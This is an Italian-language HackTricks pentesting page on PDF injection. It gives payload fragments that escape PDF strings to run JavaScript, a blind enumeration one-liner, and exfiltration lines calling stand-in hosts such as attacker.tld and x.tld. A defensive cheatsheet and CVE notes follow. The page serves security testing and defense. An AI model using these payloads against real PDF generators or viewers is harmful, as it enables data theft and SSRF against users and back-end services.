PDF Injection
Reading time: 5 minutes
tip
Impara e pratica il hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Impara e pratica il hacking GCP: HackTricks Training GCP Red Team Expert (GRTE)
Impara e pratica il hacking Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Supporta HackTricks
- Controlla i piani di abbonamento!
- Unisciti al 💬 gruppo Discord o al gruppo telegram o seguici su Twitter 🐦 @hacktricks_live.
- Condividi trucchi di hacking inviando PR ai HackTricks e HackTricks Cloud repos github.
Se il tuo input viene riflesso all'interno di un file PDF, puoi provare a iniettare dati PDF per eseguire JavaScript, effettuare SSRF o rubare il contenuto del PDF. La sintassi PDF è estremamente permissiva: se riesci a uscire dalla stringa o dal dizionario che sta incorporando il tuo input, puoi aggiungere oggetti completamente nuovi (o nuove chiavi nello stesso oggetto) che Acrobat/Chrome analizzerà felicemente. Dal 2024, una serie di report di bug-bounty hanno dimostrato che una parentesi non scappata o una barra rovesciata è sufficiente per l'esecuzione completa dello script.
TL;DR – Flusso di attacco moderno (2024)
- Trova qualsiasi valore controllato dall'utente che finisca all'interno di una (stringa di parentesi),
/URI ( … )
o campo/JS ( … )
nel PDF generato. - Inietta
)
(chiudendo la stringa) seguito da uno dei primitivi qui sotto e termina con un'altra parentesi aperta per mantenere la sintassi valida. - Consegna il PDF malevolo a una vittima (o a un servizio backend che rende automaticamente il file – ottimo per bug ciechi).
- Il tuo payload viene eseguito nel visualizzatore PDF:
- Chrome / Edge → PDFium Sandbox
- Firefox → PDF.js (vedi CVE-2024-4367)
- Acrobat → API JavaScript completa (può esfiltrare contenuti di file arbitrari con
this.getPageNthWord
)
Esempio (dirottamento del link di annotazione):
(https://victim.internal/) ) /A << /S /JavaScript /JS (app.alert("PDF pwned")) >> /Next (
Il primo )
chiude la stringa URI originale, quindi aggiungiamo un nuovo dizionario Action che Acrobat eseguirà quando l'utente clicca sul link.
Utili Primitivi di Iniezione
Obiettivo | Frammento Payload | Note |
---|---|---|
JavaScript all'apertura | /OpenAction << /S /JavaScript /JS (app.alert(1)) >> | Esegue istantaneamente quando il documento viene aperto (funziona in Acrobat, non in Chrome). |
JavaScript sul link | /A << /S /JavaScript /JS (fetch('https://attacker.tld/?c='+this.getPageNumWords(0))) >> | Funziona in PDFium & Acrobat se controlli un'annotazione /Link . |
Esfiltrazione di dati cieca | << /Type /Action /S /URI /URI (https://attacker.tld/?leak=) | Combina con this.getPageNthWord all'interno di JS per rubare contenuti. |
SSRF lato server | Stesso di sopra ma targetizza un URL interno – ottimo quando il PDF è reso da servizi di back-office che rispettano /URI . | |
Interruzione di linea per nuovi oggetti | \nendobj\n10 0 obj\n<< /S /JavaScript /JS (app.alert(1)) >>\nendobj | Se la libreria ti consente di iniettare caratteri di nuova linea, puoi creare oggetti completamente nuovi. |
Trucco di Enumerazione Cieca
Gareth Heyes (PortSwigger) ha rilasciato una riga di codice che enumera ogni oggetto all'interno di un documento sconosciuto – utile quando non puoi vedere il PDF generato:
) /JS (for(i in this){try{this.submitForm('https://x.tld?'+i+'='+this[i])}catch(e){}}) /S /JavaScript /A << >> (
Il codice itera sul DOM di Acrobat e fa richieste outbound per ogni coppia proprietà/valore, fornendoti un dump JSON-ish del file. Vedi il white-paper “Portable Data exFiltration” per la tecnica completa.
Bug nel Mondo Reale (2023-2025)
- CVE-2024-4367 – Esecuzione arbitraria di JavaScript in PDF.js di Firefox prima della versione 4.2.67 ha bypassato il sandbox con un'azione
/JavaScript
creata ad hoc. - Bug bounty 2024-05 – Un importante fintech ha consentito note di fattura fornite dai clienti che sono arrivate in
/URI
; il report ha pagato $10k dopo aver dimostrato SSRF verso l'host di metadata interno utilizzandofile:///
URI. - CVE-2023-26155 – Iniezione di comando
node-qpdf
tramite percorso PDF non sanitizzato mostra l'importanza di eseguire l'escape di backslash e parentesi anche prima del layer PDF.
Cheatsheet Difensivo
- Non concatenare mai input utente raw all'interno di stringhe o nomi
(
…)
. Esegui l'escape di\
,(
,)
come richiesto dal §7.3 della specifica PDF o utilizza stringhe esadecimali<...>
. - Se costruisci link, preferisci
/URI (https://…)
che codifichi completamente l'URL; blocca gli schemijavascript:
nei visualizzatori client. - Rimuovi o valida i dizionari
/OpenAction
,/AA
(azioni aggiuntive),/Launch
,/SubmitForm
e/ImportData
durante il post-processing dei PDF. - Sul lato server, rendi i PDF non fidati con un convertitore headless (es. qpdf –decrypt –linearize) che rimuove JavaScript e azioni esterne.
- Tieni aggiornati i visualizzatori PDF; PDF.js < 4.2.67 e Acrobat Reader prima di luglio 2024 consentono l'esecuzione di codice banale.
Riferimenti
- Gareth Heyes, “Portable Data exFiltration – XSS for PDFs”, PortSwigger Research (aggiornato maggio 2024). https://portswigger.net/research/portable-data-exfiltration
- Dawid Ryłko, “CVE-2024-4367: Esecuzione Arbitraria di JavaScript in PDF.js” (apr 2024). https://dawid.dev/sec/cve-2024-4367-arbitrary-javascript-execution-in-pdf-js
tip
Impara e pratica il hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Impara e pratica il hacking GCP: HackTricks Training GCP Red Team Expert (GRTE)
Impara e pratica il hacking Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Supporta HackTricks
- Controlla i piani di abbonamento!
- Unisciti al 💬 gruppo Discord o al gruppo telegram o seguici su Twitter 🐦 @hacktricks_live.
- Condividi trucchi di hacking inviando PR ai HackTricks e HackTricks Cloud repos github.